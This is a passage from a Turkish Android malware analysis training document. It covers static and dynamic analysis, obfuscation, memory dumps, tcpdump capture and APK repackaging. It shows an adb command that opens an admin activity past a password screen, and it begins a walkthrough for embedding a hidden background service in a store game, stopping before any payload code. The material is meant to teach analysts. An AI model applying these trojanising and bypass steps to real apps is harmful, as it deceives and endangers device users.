- Son	 olarak	 uygulamanın	 StartService	 komutu	 ile	 bir	 service	 başlattığı	 ve	 bunun	 isminin	
MainService	 olduğu	 sonucuna	 ulaşılır.	 Service	 yapısının	 uygulama	 arka	 planda	 dururken	
çalışmasını	sağlayan	bir	app	component	olduğu,	App	Components	başlığı	altında	çok	önemli	
olduğunu	belirtmiştik.	
	
- Çalıştırılan	MainService	incelenir.	
	
	 	
	
	
- Mainservice	içerisinde	arka	planda	payload	clasının	start	fonksiyonu	çağrılır.		
	
- Payload	Class’ı	incelenir.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	 	
	
- Genel	bir	kod	taramasından	sonra	başlatılan	“start	fonksiyonu”	bulunarak	ne	yaptığı	
incelenir.	
	 	
	 	
	
- “startInPath”	fonksiyonunun	“filesdirectory”	parametresi	ile	çağrıldığı	gözlemlenir.	
	
	 	
	
- “startAsync”	fonksiyonu	bulunur.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	 	
	
- Thread	oluşturarak	Payload	Class’ı	içerisindeki	“main	metodunun”	çağrıldığı	gözlemlenir.		
	
- Bu	aşamada	main	metodu	incelenmeye	başlanır.	
	
	 	
	
- Gerçekleştirilen	 işlemlerden	 sonra	 TCP	 mi	 HTTP	 mi	 bağlantısı	 yapılacağına	 karar	 verilerek	
ilgili	fonksiyon	çağırılır.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	 	
	
- Eğer	TCP	bağlantısı	kurulacaksa	URL	adresinin	split	fonksiyonları	ile	parse	edildiği	ve	socket	
bağlantısı	oluşturulduğu	gözlemlenir.	
	
- Yapılan	bu	uygulamada	statik	kod	analizi	kısmında	kod	okuma	yeteneğinin	analizde	ne	kadar	
başarılı	olacağınız	ile	doğru	orantılı	olduğu	sonucuna	ulaşılır.	
	
Şimdi	gerçek	dünyadan,	herkesin	karşısına	çıkan	uygulamaları	incelemeye	devam	edeceğiz;	
	
- “towelroot.apk”	adında	bir	apk	indirilir.	
	
- Androguard	programı	ile	uygulamanın	sahip	olduğu	izinler	ve	paket	ismi	incelenir.	
	
	 	
	
- Sadece	 internet	 izniyle	 çalışan	 programın,	 uygulama	 içerisinde	 izinleri	 değiştirip	
değiştirmediğinden	şüphelenilerek	strings	değerlerine	bakılır.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	 	
	
- Execute,	exploit,	fingerprint,	httppost	gibi	stringlerden	şüphelenilerek	activityler	incelenir.	
	
	 	
	
- Tek	 activityden	 oluşan	 program	 Dex2Jar	 ve	 JD-GUI	 programları	 kullanılarak	 java	 koduna	
decompiler	edilir.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	 	
	
- javaSuckAssReadTheKernelVersion,	exploit,	rootTheShit	gibi	değişik	isimlendirmeyle	yazılmış	
olan	 java	 kodunun	 incelenmesi	 sonucu,	 pratikde	 kullanıcı	 adına	 hiçbir	 şey	 yapmayı	
amaçlamadığı	sonucuna	ulaşılır.		
Obfuscation	
Uygulamalar	her	zaman	statik	analiz	aşamasında	yaptığımız	gibi	açık	ve	anlaşılabilir	olmaz.	İnsanların	
uygulamaların	yorumlamasını	güçlendirmek,	kod	analizi	yapmasına	olabildiğince	engel	olmak	için	kod	
karmaşıklaştırma	 tekniklerine	 başvurulur.	 Bu	 teknikler	 sayesinde	 decompiler	 işlemi	 sonucu	
uygulamanın	kaynak	kodunun	elde	edilmesinin	önüne	geçilmesi	amaçlanır.	
	
Örnek	olarak	aşağıda	C	dilinde	yazılmış	bir	obfuscated	kod	örneği	verilmiştir.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
JavaScript	dilinde	yazılmış	bir	obfuscated	kod	örneği	aşağıda	verilmiştir.	
	
	
	
Android	programlar	native	dil	olarak	Java	programlama	dili	kullanılarak	yazılır.	Bu	yüzden	android	
programlar	 için	 kullanılan	 obfuscation	 teknikleri	 arasında	 en	 popüler	 olanı	 Java	 dili	 için	 kullanılan	
popüler	obfuscation	aracı	olan	“Proguard”	dır.			
	
Proguard	 obfuscation	 uygularken	 aynı	 zamanda	 apk	 boyutunu	 küçülterek,	 gereksiz	 kısımların	
varlığına	 son	 vermektedir.	 Peki	 proguard	 nasıl	 kullanılmakta	 ve	 tam	 olarak	 nasıl	 bir	 obfuscation	
tekniği	uygulamaktadır?		
	
Aşağıda	proguard	programı	kullanılmış	bir	android	programının	Dex2Jar	programı	ile	.jar	dosyasına	
çevrilmiş	halinin	JD-GUI	altında	decompiler	edilmiş	ekran	görüntüsü	verilmiştir.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
Statik	analiz	kısmında	incelediğimiz	programlardan	farklı	olarak	class	isimleri,	fonksiyon	isimleri	ve	
variable	 değerleri	 bizler	 için	 anlamsız	 alfabetik	 harflerden	 oluşmaktadır.	 Aynı	 zamanda	 Dex2Jar	
programı	 ile	 oluşturulan	 string	 değerlerinin	 tutulduğu	 “R.class”	 dosyası	 oluşturulamamıştır.	 Apk	
boyutunun	küçülmesi	ile	de	analizinin	yapılması	zorlaştırılmıştır.	
	
Proguard	 programı	 Android	 Studio	 içerisine	 gömülü	 olarak	 gelmektedir.	 Harici	 olarak	 indirilmeye	
gerek	 duyulmayan	 bu	 özelliği	 uygulama	 geliştiricilerinin	 aktif	 hale	 getirmesi	 için	 build.grandle	
içerisindeki	minifyEnabled	değerini	true	yapması	yeterlidir.	
	
	
	
Peki	 obfuscation	 yöntemiyle	 oluşturulmuş	 ve	 reverse	 edilmeye	 çalışılan	 apk	 dosyasındaki	 “id”	
değerlerinin	karşılığı	nasıl	öğrenilir?		
	
R.class	 dosyası	 içerisinde	 olmayan	 id	 değerlerinin	 neye	 karşılık	 geldiğini	 öğrenmek	 için	 şu	 yöntem	
izlenir;	
	
- Öncelikle	 JD-GUI	 programı	 ile	 incelediğimiz	 programda	 öğrenilmek	 istenen	 “id”	 değeri	
belirlenir.	
	 	
	 	
		
	
- Şekil	üzerinde	“getString”	metodu	içerisindeki	“2131165195”	değerinin	neye	karşılık	geldiği	
öğrenilmek	istenmektedir.	,
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
- Bunun	için	öncelikle	decimal	olarak	belirlenen	bu	değer	hexadecimal	formata	çevrilmelidir.	
	
	 	
	
- 7F07000B	 değeri	 daha	 sonra	 kullanılmak	 üzere	 not	 alınır.	 Sıradaki	 işlemde	 daha	 önceden	
öğrenilmiş	olan	apktool	yardımıyla	apk	dosyamız	decompiler	edilir.	
	
- Decompiler	edilmiş	apk	klasörü	açılarak	“/res/values”	altındaki	“public.xml”	dosyası	açılır.	
	
	 	
	
	
- “public.xml”	dosyası	içerisinde	not	etmiş	olduğumuz	7F07000B	hexadecimal	değeri	aratılır.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	 	
	
	
- “7F07000B”	 değerine	 karşılık	 gelen	 type	 ve	 name	 değeri	 not	 alınarak	 public.xml	 dosyası	
kapatılır.			
	
- Ekran	görüntüsünde	görüldüğü	üzere	“7F07000B”		değerine	karşılık	gelen	type	“string”	name	
ise	“bSKbJypbBf”	değeridir.	
	
- type	 kelimesine	 karşılık	 gelen	 değer	 “string”	 olduğu	 için	 “/res/values/”	 dizinindeki	
“strings.xml”	dosyası	açılır.	
	
- “strings.xml”	dosyasında	name=”bSKbJypbBf”	‘a	karşılık	gelen	değer	bulunur.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	 	
	
- Sonuç	olarak	JD-GUI	programımızın	reverse	edemediği		“2131165195”	değerinin	bir	string	
type	 olduğu	 ve	 “180B525C72417B49C3E1FB9707470F8C9194F1FF996A”	 ‘ya	 karşılık	 geldiği	
sonucuna	ulaşılır.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Dinamik	Analiz	ve	Network	Analizi	
Uygulamanın	 çalışması	 esnasında	 davranışlarını	 inceleyerek	 yapılan	 analiz	 çeşidine	 dinamik	 analiz	
denir.	 Dinamik	 analiz	 içerisine	 debugger	 (hata	 ayıklayıcılar)	 ’lar	 yardımıyla	 	 çalışır	 durumdaki	
uygulamanın	 kodunda	 meydana	 gelen	 değişikliklerinin	 incelenmesi	 de	 dahildir.	 Çalışır	 durumdaki	
uygulamanın	kod	akışından,	cihaz	üzerinde	yaptığı,	yapmaya	çalıştığı	davranışların	tamamı	dinamik	
analize	dahildir.	Uygulamanın	ağ	içerisinde	yaptığı	istekler,	iletişimler,	değişiklikler	ise	network	analizi	
dediğimiz	 alana	 girmektedir.	 Çeşitli	 programlar	 yardımıyla,	 genellikle	 uygulamanın	 çalışır	 durumda	
olduğu	 sırada	 ortaya	 konulan	 bu	 davranışlar;	 analizcinin,	 uygulamanın	 çalışma	 şeklini	 ve	
davranışlarını	ortaya	koymasında	yardımcı	olmaktadırlar.	
	
	
Dinamik	analiz	şu	amaçlar	için	kullanılır:	
	
● Uygulamanın	run	time	yani	çalışma	esnasında	yaptığı	davranışları	incelemek	
● Uygulamaya	dair	zafiyet	keşfinde	bulunmak.	
● Uygulamanın	işleyişini	değiştirerek,	istediğimiz	sonuca	ulaşmak.	
	
Kaynak	kodunu	bilinen	android	uygulamalar	için	Android	Studio	debug	modu	ile	kullanabilmektedir.	
Bunun	için	debug	sembolleri	belirlenen	uygulamayı	cihazımızda	başlatmak	için	şu	sembole	tıklarız.	
	
	
	
Android	 Studio’nun	 alt	 tarafında	 yer	 alan	 Debug	 bölümünde	 ise	 debug	 işleminin	 başladığını	
görmekteyiz.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Log	Analizi	
Sıradaki	 özellik	 ise	 android	 log	 kayıtlarını	 görmemizi	 sağlayan	 “Logcat”	 ekranıdır.	 Android	 Studio	
üzerinde	aşağıda	yer	alan	bu	ekran	şu	şekilde	gözükmektedir.	
	
	
	
Bütün	android	log	kayıtlarını	gözlemlemek	yerine,	“No	Debuggable	Processes”	yazan	yerden	istenilen	
uygulamanın	spesifik	olarak	log	kayıtları	görüntülenebilmektedir.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Logcat	ekranı	terminal	ekranından	“adb	shell	logcat”		komutu	ile	başlatılabilmektedir.	
	
	
	
	
Birden	 fazla	 uygulama	 yerine	 tek	 bir	 uygulamanın	 log	 kayıtlarını	 görüntülemek	 için	 uygun	 regex	
komutları	yazabilirsiniz.	Aşağıdaki	ekran	görüntüsünde	görüldüğü	gibi	id	değeri	bulunan	“settings”	
yani	ayarlar	paketinin	logcate’	e	düşen	log	kayıtları	görüntülenmektedir.	
	
	
	
	
“android.permission.READ_LOGS”	 	 iznine	 sahip	 kötü	 niyetli	 uygulamalar	 rootlu	 cihazlarda	 diğer	
uygulamalara	ait	kritik	log	bilgilerini	elde	edebilmektedir.	
	
Android	 Device	 Monitor	 bahsetmiş	 olduğumuz	 toolları	 içinde	 barındırarak	 uygulamaların	 dinamik	
analizi	hakkında	detaylı	bilgiler	almamızı	sağlamaktadır.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
“Tools-	 Android	 -	 Android	 Device	 Monitor”	 yolunu	 kullanarak	 ulaşabileceğiniz	 ADM’	 ye	 ait	 ekran	
görüntüsü	aşağıda	verilmiştir.	
	
		
	
Sol	 tarafta	 processler,	 sağ	 tarafta	 dosya	 yönetim	 alanı	 ve	 aşağıda	 az	 önce	 öğrenilmiş	 olan	 logcat	
ekranı	bulunmaktadır.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Memory	Analizi	
ADM	kullanılarak	çalışan	bir	process’in	memory	dökümü	alınabilmektedir.	Memory	dökümü	alınacak	
uygulama	 çalışır	 durumda	 olmalıdır.	 Zararlı	 yazılım	 analizinde	 kullanılan	 çok	 önemli	 yöntemlerden	
biri	 olan	 bellek	 inceleme	 işlemi,	 dump’ı	 alınmış	 uygulamaların	 çeşitli	 programlar	 yardımıyla	
incelenme	işlemidir.	
	
ADM	 kullanılarak	 android	 bir	 cihazdaki	 uygulamanın	 bellek	 dökümünü	 almak	 için	 çalışan	 process	
seçilerek	aşağıdaki	ekran	görüntüsünde	görüldüğü	gibi	HPROF	formatında	dump	alınabilir.	
	
	
	
Yukarıdaki	 ekran	 görüntüsünde	 görüldüğü	 üzere	 com.android.email	 uygulaması	 seçilerek	 imlecin	
gösterdiği	ilgili	Dump	butonuna	tıklanır.	Daha	sonra	.hprof	formatında	dosya	istenilen	herhangi	bir	
klasöre	kaydedilir.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
	
İlgili	dizine	gidilerek	terminal	ekranında	“sudo	strings	com.android.email.hprof	>	ay.txt”		komutu	
uygulanarak	hprof	formatındaki	dump	dosyasında	geçen	string	değerleri	ay.txt	dosyası	oluşturularak	
yazılır.	
	
	
Daha	sonra	ay.txt	dosyası	açılarak	“@gmail.com”		araması	yapılır.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
	
Şekil	 incelendiğinde	 dumpını	 aldığımız	 mail	 uygulamasıyla	 Mucahid	 isimli	 “m3o.e.cey@gmail.com”	
kullanıcısından	 “Aysenurk-------@gmail.com”	 kullanıcısına	 “Yagmur”	 konu	 başlıklı	 bir	 mail	 atıldığı	
görülmektedir.	
	
Yukarıda	verilen	ekran	görüntüsünde	encode	edilmiş	şekilde	bulunan;	
	
U2V2bWVrIGRhaW1hIGJlcmFiZXIgb2xtYWsgZGVnaWwsIHNlbnNpemtlbiBiaWxlIHNlbmluIG9sYWJp
bG1la3Rpci4u	
	
metni	base64	decoder	yardımıyla	ya	da	şekildeki	gibi	python	gibi	bir	programlama	dili	kullanılarak	
decode	edilerek	mail	içeriğine	de	ulaşılmış	olur.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
Uygulama	
Sıradaki	 uygulama	 APP	 COMPONENTS	 başlığı	 altında	 üzerinde	 durulan	 “activity”	 yapısını	
anlatmaktadır.	Bir	uygulama	activity	yapıları	sayesinde	uygulama	içerisindeki	sayfa	geçişlerini	sağlar.	
	
Şekildeki	uygulama	“mainChecker”	adında	test	ortamı	için	geliştirilmiş	bir	uygulamadır.	
	
	
	
Uygulama	 öğretilmiş	 olan	 Androguard	 programı	 kullanılarak,	 apk	 dosyasının	 paket	 ismi	 ve	 activity	
isimeri	analiz	edilir.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
	
Adb	programı	kullanılarak;	
	
./adb	shell	am	start	com.anil.eventchecker/com.anil.eventchecker.admin_paneli	
	
komutu	kullanılır	ve	admin_paneli	activity’si	doğrudan	açılmaya	çalışılır.	
	
	
	
Böylelikle	 program	 MainActivity	 classını	 çağırmadan	 parola	 sorulan	 ekranı	 geçerek	 direk	 admin	
panelinin	olduğu	activity’i	çalıştırır.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
	
Uygulama	geliştiricileri	bu	problemi	aşmak	için	şu	yöntemlere	başvurmaktadırlar;	
	
- Sunucudan	 gelen	 parola	 giriş	 bilgisinin	 kontrolünü	 MainActivity’de	 değil	 ilgili	 activityde	
yaparlar.	
	
	 ya	da		
	
- MainActivity’de	rastgele	bir	değer	oluşturarak,	ilgili	activity’de	bunun	kontrolünü	yaparlar.	
Network	Analizi	
Bu	 bölüm,	 uygulamanın	 dış	 dünyayla	 kurmaya	 çalıştığı	 etkileşimi	 ve	 başarılı	 olduğu	 durumda	 ağ	
içerisindeki	 diğer	 cihazlarla	 ilişkisini	 analiz	 etmeyi	 amaçlar.	 Bir	 uygulamanın	 network	 içerisindeki	
davranışını	analiz	etmek	içinse	wireshark,	tcpdump,	burpsuite	gibi	araçlar	kullanılabilir.	
	
“~/Android/Sdk/emulator”	dizini	altında	“sudo	./emulator	-avd	BGAEmulator”	komutu	ile	Android	
Emulator	başlatılır.	
	
	
	
	
Tcpdump	binary	dosyaları	adb	programı	kullanılarak	şekildeki	gibi	cihazın	/data/local/tmp	dizinine	
yazılır.	 Bu	 işlemi	 gerçekleştirmek	 için	 bulunulan	 dizine	 tcpdump	 binary	 dosyalarının	 indirilmesi	
gerektiği	unutulmamalıdır.	Bunun	için	ilgili	paket;
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
● http://www.androidtcpdump.com/android-tcpdump/downloads	
	
linkinden	indirilebilmektedir.	
	
	
	
“./adb	 shell”	 komutu	 ile	 cihazdan	 shell	 alınarak	 	 “cd	 /data/local/tmp”	 komutu	 ile	 tcpdump’ı	
yüklediğimiz	 dizine	 gidilir.	 	 “ls	 -l	 tcpdump”	 	 komutunu	 uygulayarak	 yüklemiş	 olduğumuz	 tcpdump	
binary	dosyasında	executable	(yürütme)		izninin	olmadığı	gözlemlenir.	
	
	
	
“chmod	755	tcpdump”	komutu	ile	tcpdump	programına	execute	yetkisi	verilir.	
	
	
	
Executable	olan	tcpdump	dosyası	artık	çalıştırılabilir.	Bunun	için	şu	komut	kullanılır.;	
	
./tcpdump	-v	-s	0	-w	packets.pcap	
	
	
	
Eğer	yukarıdaki	gibi	değil	de	aşağıdaki	gibi	bir	çıktı	alırsanız		bu	durum	kurmuş	olduğunuz	tcpdump	
binary	dosyasının	yanlış	olduğu	gösterir.	
	
	
	
İlgili	dosyayının	doğrusunu	yeniden	kurabilir	ya	da	Genymotion	veya	Android	Studio	ile	gelen	
Busybox	aracını	kullanarak	tcpdump	programını	başlatabilirsiniz.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Android	Studio	ile	Tcpdump	
	
Emulator	ekranı	terminal	üzerinden	çalıştırılırken	“-tcpdump	output.cap”	komutu	eklenir.	
	
	
	
Genymotion	ile	Tcpdump	
Genymotion	emulatoru	çalıştırıldıktan	sonra		shell	alınarak	“cd	/system/xbin”	komutu	ile	xbin	
dizinine	gidilir.		“./tcpdump”		komutu	ile	tcpdump	aracı	çalıştırılır.	
	
Uygulama	
- “./emulator	 -tcpdump	 emulator.cap	 -avd	 BGAEmulator”	 komutu	 ile	 	 android	 emulator	
çalıştırılır.			
	
- Cihazın	çalışması	Ctrl+c	tuş	kombinasyonu	ile	sonlandırılır.			
	
- Oluşturulmuş	olan	emulator.cap	dosyası	“wireshark	emulator.cap”	komutu	ile	açılılır.	
	
	 	
	
- Cihazın	kurmuş	olduğu	network	bağlantıları	wireshark	kullanılarak	analiz	edilir.	
	
- Statik	analiz	aşamasında	incelediğimiz	ama	çalıştırmadığımız	meterpreter.apk	uygulamasına	
basılarak	ADM’daki	network	trafiğindeki	hareketlilik	görüntülenebilir.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	 	
	
	
- Aşağıda	verilen	ekran	görüntüsünde	logcat	ekranı	“adb	shell	logcat”	komutu	ile	incelenmiş	
ve	kurulmaya	çalışılan	bağlantı	“Can’t	connect”		hatası	ile	defalarca	tekrarlamıştır.	
	
	 	
	
	
- Droidbox	 uygulaması	 ile	 uygulamanın	 cihaz	 üzerinde	 ne	 gibi	 değişiklikler	 yaptığı	 ve	 log	
kayıtları	görüntülenebilir.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Tersine	 Mühendislik	 Teknikleri	 İle	 Uygulama	 İçeriğini	
Değiştirme	
	
Bu	 bölümde	 mağazadan	 seçilen	 bir	 uygulamanın	 işleyişindeki	 yapıların	 değiştirilmesi	 üzerinde	
durulacaktır.	
	
● https://apkpure.com/batak-hd/com.alper.batak.hd	
	
	adresinden	“Download	APK”	butonuna	tıklanarak	batak	uygulaması	indirilebilir.	
	
	
	
	
İndirilen	uygulama,	apktool	programı	yardımıyla	debug	edilir.		
	
java	-jar	apktool_2.2.4.jar	d	Batak	HD_v39.0_apkpure.com.apk	
	
	
	
Decompiler	edilmiş	dizin	içerisinde;	
	
● /Batak	HD_v39.0_apkpure.com/assets/assets/gfx/kartlar/
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
dizinine	gidilir.	Burada	“assets”	dizini	uygulama	içerisinde	kullanılan	kaynakları,	resim	müzik	gibi	
dosyaları	barındıran	dizindir.	
	
	
	
Değiştirmek	istediğimiz	kart	resimleri	silinerek	yerine	aynı	isimde	farklı	resim	dosyaları	eklenir.	Şekil	
üzerinde	“sinek_5.png”	resim	dosyası	silinerek	yerine	gerçek	bir	sinek	resmi		aynı	isimle	eklenmiştir.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
Uygulama	Apktool	programı	ile	tekrar	derlenir.	
	
	
	
Oluşturulmuş	“yeniapk.apk”	adlı	dosyanın	çalıştırılabilmesi	için	imzalanması	gerekmektedir.	Bunun	
için;	
	
keytool	-genkey	-v	-keystore	my-release-key.keystore	-alias	alias_name	-keyalg	RSA	-keysize	2048	-
validity	10000	
	
komutuyla	 yeni	 bir	 imza	 oluşturabileceğiniz	 gibi	 daha	 önceden	 oluşturmuş	 olduğumuz	 imzayı	 bu	
uygulama	içinde	kullanabilirsiniz.	Bunun	için;			
	
jarsigner	 -verbose	 -sigalg	 SHA1withRSA	 -digestalg	 SHA1	 -keystore	 my-release-key.keystore	
yeniapk.apk	alias_name	
	
komutunu	 kullanabilirsiniz.	 İmzalanmış	 olan	 apk	 dosyası	 sürükle	 bırak	 ya	 da	 adb	 programı	
kullanılarak	Android	Emulatore	aktarılır	ve	çalıştırılır.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Şekilde	görüldüğü	gibi	destemizde	sinek	resmi	sinek5	yerine	kullanılmaktadır.	
	
	
	
Oyun	müziklerini	değiştirmek	için	gidilmesi	gerekilen	dizin;	
	
/Batak	HD_v39.0_apkpure.com/assets/assets/gfx/sounds/	
	
	
	
	
Bütün	 uygulamalar	 için	 istenilen	 değişikliklerin	 yapabileceğini,	 ancak	 yeniden	 imzalanmış	 olan	
uygulamaların	orijinal	imzasından	farklı	olduğu	için	güncelleme	almayacağı	bilinmelidir.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Tersine	 Mühendislik	 Teknikleri	 İle	 Mevcut	 Uygulama	
İçerisine	Zararlı	Kod	Ekleme	
Zararlı	 kod	 analizi	 yeteneklerinin	 geliştirilmesi	 ve	 kötü	 niyetli	 kişilerin	 taşıyıcı	 uygulamalara	 nasıl	
zararlı	 kod	 eklediklerinin	 açıklanması	 için	 bu	 bölümde	 mağazadan	 indirilen	 bir	 uygulama	 içerisine	
kötü	amaçlı	kod	eklenerek	uygulamayı	kötü	niyetli	bir	yazılım	haline	getirme	işlemi	gösterilecektir.	
	
Bunun	için	öncelikle	mağazadan	taşıyıcı	uygulama	seçilmelidir.	Aşağıda;	
	
● https://apkpure.com/2048/com.dt.game2048	
	
adresinden	2048	adlı	uygulama	taşıyıcı	uygulama	olarak	seçilerek	indirilmiştir.	
	
	
	
	
Daha	 sonra	 kullanılacak	 olan	 bu	 uygulama	 saklanarak	 zararlı	 kodun	 geliştirildiği	 aşamaya	 geçilir.	
Android	Studio	programı	başlatılarak	File/New/New	Project	yolu	izlenerek	yeni	bir	proje	oluşturulur.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
	
	
Uygulama	ismi	belirlenerek	next	butonuna	tıklanılır	ve	activity	ekranında	herhangi	bir	activity	
seçilmeden	proje	oluşturulur.		New/Activity/Basic	Activity	yolu	izlenerek	activity	oluşturulur.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
Activity	ayarları	“activity	name”	belirlenerek	yapılır.	
	
	
	
Oluşturulan	activity	ekranındaki	“onCreate”	metodu	dışındaki	metodlar	silinir.	
	
	
	
	
Burada	onCreate	metodu	içerisindeki	“view”	yani	görüntü	ile	ilgili	olan	kısımlar	kaldırılarak	2	adet	
“intent”	oluşturulur.	Android	içerisindeki	intent	yapısı	activityler	arası	geçişi	sağlamak	ya	da	servis	
oluşturmak	için	kullanılır.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Burada	izlenmek	izlenen	yol	şöyledir;	
	
- Oluşturulan	yeni	proje	içerisinde	görüntü	kısımları	barındırmadan,	2	adet	intent	oluşturulur.		
- Bu	 intentlerden	 ilki	 arka	 planda	 çalışacak	 olan	 zararlı	 kodu	 temsil	 ederken,	 diğer	 intent	
taşıyıcı	uygulamamızı	başlatacak	olan	kısımdır.	
	
Yani	 program	 çalıştırıldığında	 ilk	 olarak	 zararlı	 uygulamanın	 bulunduğu	 kısım,	 daha	 sonra	 2048	
uygulamasının	başlatılması	amaçlanmaktadır.	
	
İlk	intent	şu	şekilde	oluşturulur:	
	
Intent	intent	=	new	Intent(this,	MucoService.class);	
startService(intent);	
	
Buradaki	“MucoService.class”	dosyası	oluşturmak	istediğimiz	servisin	kendimizin	belirlediği	ismidir.	
Arka	planda	çalışacak	olan	zararlı	servisi	temsil	eder.	
	
Oluşturulacak	olan	ikinci	intent	şu	şekilde	oluşturulur:	
	
Intent	intent2	=	new	Intent(getApplicationContext(),	“GONDERILMEK-ISTENEN-ACTIVITY”.class);	
startActivity(intent2);	
	
Buradaki	 “GONDERILMEK-ISTENEN-ACTIVITY.class”	 	 dosyası	 bizim	 taşıyıcı	 uygulamamızdaki	 ilk	
activitydir.	 Uygulama	 hiyerarşisinde	 başlangıç	 uygulamamız	 olan	 zararlı	 uygulama,	 taşıyıcı	
uygulamanın	 başlamasını	 sağlayacağından	 buradaki	 geçişin	 sağlanacağı	 activity	 taşıyıcı	
uygulamamızın	ilk	activity’sidir.	
	
Peki	taşıyıcı	uygulamamızın	ilk	activity’si	nedir?		
	
Bu	sorunun	cevabını	bulmak	için	indirmiş	olduğumuz	2048	uygulamamızın	“manifest”	dosyasına	ya	
da	öğrenmiş	olduğumuz	statik	analiz	programlarından	herhangi	birini	kullanabiliriz.	
	
Aşağıdaki	 ekran	 görüntüsünde	 görüldüğü	 üzere	 Apktool	 programı	 ile	 2048	 uygulaması	 decompiler	
edilmiştir.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
İlgili	manifest	dosyası	metin	editörü	kullanılarak	açılır.	
	
	
	
“@string/app_name”	 kısmında	 seçili	 alanda	 uygulamanın	 ilk	 activity	 isminin	
“com.dt.game2048.MainActivity”		olduğu	görülmektedir.	
	
İkinci	intent	yapımız	2048	uygulamasının	main	activitysi	olacak	şekilde	düzenlenir.	
	
	
	
BGAActivity.java	dosyası	içerisindeki	ilgili	kod	şu	şekildedir:	
	
package	com.example.m3o.bga_sms;	
	
import	android.content.Intent;	
import	android.os.Bundle;	
import	android.support.design.widget.FloatingActionButton;	
import	android.support.design.widget.Snackbar;
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
import	android.support.v7.app.AppCompatActivity;	
import	android.support.v7.widget.Toolbar;	
import	android.view.View;	
	
public	class	BGAActivity	extends	AppCompatActivity	{	
	
			@Override	
			protected	void	onCreate(Bundle	savedInstanceState)	{	
							super.onCreate(savedInstanceState);	
	
							Intent	intent	=	new	Intent(this,	MucoService.class);	
							startService(intent);	
							Intent	intent2	=	new	Intent(getApplicationContext(),	com.dt.game2048.MainActivity.class);	
							startActivity(intent2);	
	
			}	
	
}	
	
	
Ardından	 apk	 dosyasını	 smali	 kodlarına	 çevrilecek.	 Apk	 dosyası	 “MainActivity”	 adlı	 classı	
başlatabilmek	 için	 zararlı	 kod	 içeren	 kısımda	 bulunması	 gereken	 MaincActivity	 kısmını	
oluşturmaktadır.	Zararlı	uygulamada	bir	MainActivity	oluşturarak	bir	MainActivity	içerdiği	bilgisiyle	
derlenmesini	sağlanır	Böylelikle	taşıyıcı	uygulamadaki	MainActivity	classı	çağırabilir.		
	
Bunun	için	File/New	yolu	izlenerek	yeni	bir	Java	classı	oluşturulur.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Paket	ismi	olarak	2048	uygulamasının	paket	ismi	yazılır	ve	Activity	classından	extend	edilir.	
	
	
	
MainActivity	classı	oluşturulduktan	sonra	sıradaki	işlem	zararlı	kodumuzu	çalıştıracak	olan	“service”	
kısmını	tanımlamaktadır.	Üçüncü	classımız	olan	service	classını	başlatmak	için	File/New/Service	yolu	
izlenir.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Burada	 dikkat	 edilmesi	 gereken	 nokta	 oluşturulan	 servise	 verilen	 ismin	 servise	 “BGAActivity.java”	
classında	oluşturulan	servise	verilen	isimle	aynı	olmasıdır.	Çünkü	bu	servis	BGAActivity.java	dosyası	
için	oluşturalacak	bir	servistir.	
	
Service	dosyasının	içerisine	arka	planda	yapılması	istenilen	zararlı	kod	kısmı	yazılır.
